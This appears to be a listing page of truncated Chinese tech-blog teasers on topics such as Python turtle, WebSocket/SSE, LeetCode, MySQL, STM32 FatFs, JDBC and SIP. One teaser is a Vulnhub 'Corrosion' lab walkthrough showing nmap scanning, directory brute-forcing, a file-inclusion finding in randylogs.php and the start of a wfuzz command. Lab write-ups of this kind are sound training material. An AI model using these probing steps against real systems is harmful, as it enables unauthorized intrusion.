目录 一、方法步骤 二、代码实现 三、代码解释 四、优化代码 五、Python turtle模块介绍 六、Python turtle模块使用方法 创建画布和画笔对象 控制画笔移动和旋转 控制画笔外观 绘制基本图形 控制画布参数 这段代码使用Python turtle模块&#xff0c;利用递归的方式绘…

前端实现消息推送、即时通信、SSE、WebSocket、http简介

信息推送 服务端主动向客户端推送消息&#xff0c;使客户端能够即时接收到信息。 场景 页面接收到点赞&#xff0c;消息提醒聊天功能弹幕功能实时更新数据功能 实现即时通讯方式 短轮询 浏览器&#xff08;客户端&#xff09;每隔一段时间向服务器发送http请求&#xff0c;…

leetcode47. 全排列 II(回溯算法-java)

全排列 II leetcode47. 全排列 II题目描述解题思路代码演示 回溯算法专题 leetcode47. 全排列 II 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;https://leetcode.cn/problems/permutations-ii 题目描述 给定一个可包含重复数字的序列 nums &#xf…

Vulnhub: Corrosion靶机

kali&#xff1a;192.168.111.111 靶机&#xff1a;192.168.111.130 信息收集 端口扫描 nmap -A -sC -v -sV -T5 -p- --scripthttp-enum 192.168.111.130 目录爆破 blog-post目录下存在两个目录 对archives目录中的randylogs.php进行测试发现存在文件包含 wfuzz -c -w /op…

POI设置日期类型时间约束createDateConstraint不生效了

背景 在使用 POI 导出 excel 时间类型加入时间约束时&#xff0c;发生了使用 Excel 打开无法正确使用时间约束的问题&#xff0c;但是在 永中Office 打开可以使用 关键词 helper.createDateConstraint&#xff0c;POI设置时间约束 设置时间约束的代码如下 该代码是有问题的&…

浏览器渲染流程

解析HTML&#xff0c;生成DOM树&#xff0c;解析CSS&#xff0c;生成CSSOM树 将DOM树和CSSOM树结合&#xff0c;生成渲染树(Render Tree) Layout(回流):根据生成的渲染树&#xff0c;进行回流(Layout)&#xff0c;得到节点的几何信息&#xff08;位置&#xff0c;大小&#x…

MySQL实战解析底层---为什么我的MySQL会“抖“一下

目录 前言 SQL语句为什么变“慢”了 InnoDB刷脏页的控制策略 前言 一条SQL语句&#xff0c;正常执行的时候特别快&#xff0c;但是有时也不知道怎么回事&#xff0c;它就会变得特别慢&#xff0c;并且这样的场景很难复现&#xff0c;它不只随机&#xff0c;而且持续时间还很…

STM32挂载SD卡基于Fatfs文件系统读取文件信息

STM32挂载SD卡基于Fatfs文件系统读取文件信息 &#x1f516;本例程基于正点原子标准库修改而来。 &#x1f4cd;FatFs 相关API函数网站&#xff1a;http://elm-chan.org/fsw/ff/00index_e.html &#x1f334;分别测试了SD卡模块以及Mini SD卡模块。 &#x1f33f;STM32f1单片…

代码随想录二刷day29 | 回溯之 491.递增子序列 46.全排列 47.全排列 II

day29 491.递增子序列回溯三部曲 46.全排列回溯三部曲 47.全排列 II 491.递增子序列 题目链接 解题思路&#xff1a; 回溯三部曲 递归函数参数 本题求子序列&#xff0c;很明显一个元素不能重复使用&#xff0c;所以需要startIndex&#xff0c;调整下一层递归的起始位置。…

【Python 基础篇】Python各种运算符详解

文章目录 引言一、算术运算符二、比较运算符三、逻辑运算符四、赋值运算符总结 引言 在 Python 编程中&#xff0c;运算符是用于执行各种数学和逻辑操作的特殊符号。它们使我们能够对变量和值进行各种计算和比较。本篇博客将深入探讨 Python 中的常见运算符&#xff0c;并通过…

【如何将多个类似 DDR-dataset.zip.010 文件文件合并成一个zip文件,然后解压】

如何将多个类似 DDR-dataset.zip.010 文件文件合并成一个zip文件&#xff0c;然后解压 问题描述 DDR-dataset.zip.01、DDR-dataset.zip.02、DDR-dataset.zip.03、…、DDR-dataset.zip.010&#xff0c;如何将他们合并到一起并解压&#xff1f; 解决方法 Windows 系统 在Windo…

原生Jdbc获取库、表、字段

文章目录 一、简介1、概述2、Jdbc获取连接3、执行器 二、获取链接1、获取链接2、关闭连接3、Statement4、PrepatedStatement5、 ResultSet6、ResultSetMetaData 三、执行SQL2.1 增/删/改2.2 查询 四、获取库、表结构1、获取Catalog2、获取库列表3、获取表名4、获取字段 一、简介…

为什么本地部署的低代码平台更有优势?

编者按&#xff1a;快速发展的企业需要跟上不断变化的市场趋势。在这种环境下&#xff0c;低代码开发平台可以成为企业快速进入市场的利器。低代码开发的优势可以影响新软件的交付速度&#xff0c;而可视化开发是推动这种无与伦比的速度的关键功能。私有化部署方案和源码交付机…

27-2BP_Adaboost强分类器公司财务预管建模——强分类器和弱分类器(附matlab程序)

1.简述 Adaboost算法的思想是合并多个“弱”分类器的输出以产生有效分类。其主要步骤为&#xff1a;首先给出弱学习算法和样本空间&#xff08;x,y&#xff09;&#xff0c;从样本空间中找出m组训练数据&#xff0c;每组训练数据的权重都是1/m。然后用弱学习算法迭代运算T次&am…

SIP协议学习笔记

SIP 协议(Session initialization Protocol)会话发起协议 是IETF制定的多媒体通信协议&#xff0c;是一个基于文本的应用层控制协议&#xff0c;用于建立&#xff0c;修改和终止IP网上的双方或多方的多媒体会话,支持代理、重定向、登记定位用户等功能 支持用户的移动&#xff…